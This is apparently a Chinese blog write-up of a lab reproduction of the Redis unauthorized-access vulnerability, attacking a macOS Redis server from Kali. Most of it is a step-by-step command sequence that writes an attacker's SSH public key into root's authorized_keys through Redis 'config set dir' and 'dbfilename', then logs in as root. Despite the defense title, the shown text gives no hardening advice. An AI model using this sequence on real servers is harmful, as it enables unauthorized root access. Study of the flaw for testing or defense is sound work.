当前位置:网站首页>漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现
2022-04-21 17:33:00 【Bruce_Liuxiaowei】
漏洞检测与防御:Redis未授权访问漏洞复现
1. 未授权访问漏洞
未授权访问漏洞可以理解为安全配置、权限认证、授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的服务主要包括:NFS 、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等,使用时要注意。本文复现Redis未授权访问漏洞。
1.1 Redis未授权访问漏洞
Redis是一种使用ANSIC语言编写的开源Key-Value型数据库。与Memcache相似,支持存储的value类型有很多种,其中包括String(字符串)、List(链表)、Set(集合)、Zset(有序集合)、Hash(哈希)等。Redis还支持不同的排序方式。Redis为了保证效率,将数据缓存在内存中,周期性地更新数据写入磁盘或者把修改操作写入追加的记录文件中,在此基础上实现了master-slaver(主从)同步。对Redis配置不当将会导致未授权访问漏洞,从而被攻击者恶意利用。在特定条件下,如果Redis以Root身份运行,攻击者可以用root权限的身份写入SSH公钥文件,通过SSH登录目标服务器,继而导致服务器权限被获取、泄漏或者发生加密勒索事件。
1.2 实验运行环境
靶 机:
OS: macOS Monterey Version 12.3.1(英文版)
Redis-Server: Redis 6.2.6
如下图:

攻击机:
OS:Linux kali Release 2021.3
Redis客户端: redis-cli 6.0.16
如下图:

1.3 SSH漏洞利用
1.3.1 与靶机(mac OS)Redis建立连接,在攻击机系统输入如下命令:
┌──(rootkali)-[~/.ssh]
└─# redis-cli -h 192.168.68.242
192.168.68.242:6379> info
运行结果如下图:

1.3.2 在攻击机(ka li)上生成密钥auth_key,命令如下:
┌──(rootkali)-[~/.ssh]
└─# ssh-keygen -t rsa # 本例生成个空密码(没密码)
运行结果如下图:

1.3.3 在目录/root/.ssh下查看生成结果,并将公钥导入auth_key.txt文件中,命令如下:
┌──(rootkali)-[~/.ssh]
└─# ls
┌──(rootkali)-[~/.ssh]
└─# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > auth_key.txt
运行结果如下图:


查看一下生成的公钥文件,命令如下:
┌──(rootkali)-[~/.ssh]
└─# cat auth_key.txt
运行结果如下图:

1.3.4 将auth_key.txt中的公钥导入靶机(macOS)缓存中,命令如下:
┌──(rootkali)-[~/.ssh]
└─# cat auth_key.txt | redis-cli -h 192.168.68.242 -x set xxx
运行结果如下图:

1.3.5 在攻击机(kali)端执行如下命令,查看靶机(macOS)缓存的公钥文件xxx,命令如下:
192.168.68.242:6379> keys *
192.168.68.242:6379> get xxx
运行结果如下图:

1.3.6 更改配置文件路径为靶机(macOS)的目录/var/root/.ssh,设定文件名称为authorized_keys,然后保存。命令如下:
192.168.68.242:6379> config set dir /var/root/.ssh
OK
192.168.68.242:6379> config set dbfilename authorized_keys
OK
192.168.68.242:6379> save
OK
192.168.68.242:6379>
1.3.7 在攻击机(kali)上通过SSH协议连接到靶机(macOS),命令如下:
┌──(rootkali)-[~/.ssh]
└─# ssh 192.168.68.242
运行结果如下图:

登录成功
版权声明
本文为[Bruce_Liuxiaowei]所创,转载请带上原文链接,感谢
https://jl-zhenlaixiaowei.blog.csdn.net/article/details/124318828
边栏推荐
- The R language uses the plot function to visualize the data scatter diagram, and uses the BG parameter in the par function to customize the background color in the wireframe of the visual image
- Advantages of MySQL
- Chapter 118 SQL function reverse
- jedis的基本使用
- 前五章内容思维导图
- (自用)远程调用时参数2个RequestParam注解
- 【SOGAF】SOGAF架构类型/模式
- 【机器学习】门控循环单元
- Using Jetson nano as an environmental weather station
- Analysis on the adaptation layer of openharmony UI framework (I)
猜你喜欢

Insight technology passed the "federal learning" product evaluation of the national financial technology evaluation center of the central bank in the first batch, realizing the dual certification of "
![[interview ordinary people vs Expert Series] understanding of B tree and B + tree](/img/b9/d648a0da059713ba5ac139dbfad2cd.png)
[interview ordinary people vs Expert Series] understanding of B tree and B + tree

Chapter 118 SQL function reverse
![[dynamic programming] 152 Product maximum subarray](/img/8f/8063f2bedaa89217ad0adf1988972d.png)
[dynamic programming] 152 Product maximum subarray

1044. Longest repeating substring

Considering loose coupling of microservice architecture? Be careful of these traps

CSP Darknet53

【一篇文章帮你打好路由基础】

科技云报道:DPU市场火热,未来会任由几家大厂吃独食吗?

FastReport Business Graphics . NET
随机推荐
MySQL: 1103 error solution
如何在面试中机智的展现架构能力?
(for personal use) two requestparam annotations for parameters in remote call
NFT板块第二春——关于提前布局 Solana 正在崛起的 NFT 生态系统你需要知道的一切
R language data export (data saving, export and persistence to local specified directory file), write using xlsx package Xlsx function exports dataframe to excel file XLS format instead of xlsx format
数字化时代,企业运维面临现状及挑战分析解读
R language uses the label function of hmisc package to add variable labels for specific variables (data columns) in dataframe, modify the data column name of dataframe to data description label, and a
[dynamic programming] 152 Product maximum subarray
jedis的基本使用
查询2021年入职的非业务科员工的员工信息,各位同志们这个怎么编写SQL语句啊,求解
Redis has three modes - master-slave replication, sentinel mode and cluster
WPF 引用 UWP 控件 不打包为 MSIX 分发的方法
Structure malloc bug
The first five chapters are thought maps
(自用)远程调用时参数2个RequestParam注解
深耕行业数十年,多元视角解读!从思维转变看数字化转型 IT 经营
使用epoll时需要将socket设为非阻塞吗?
.NET Core企业微信网页授权登录
幹貨 | 實戰演練基於加密接口測試測試用例設計
Query the employee information of non business department employees who joined in 2021. Comrades, how to write SQL statements and solve them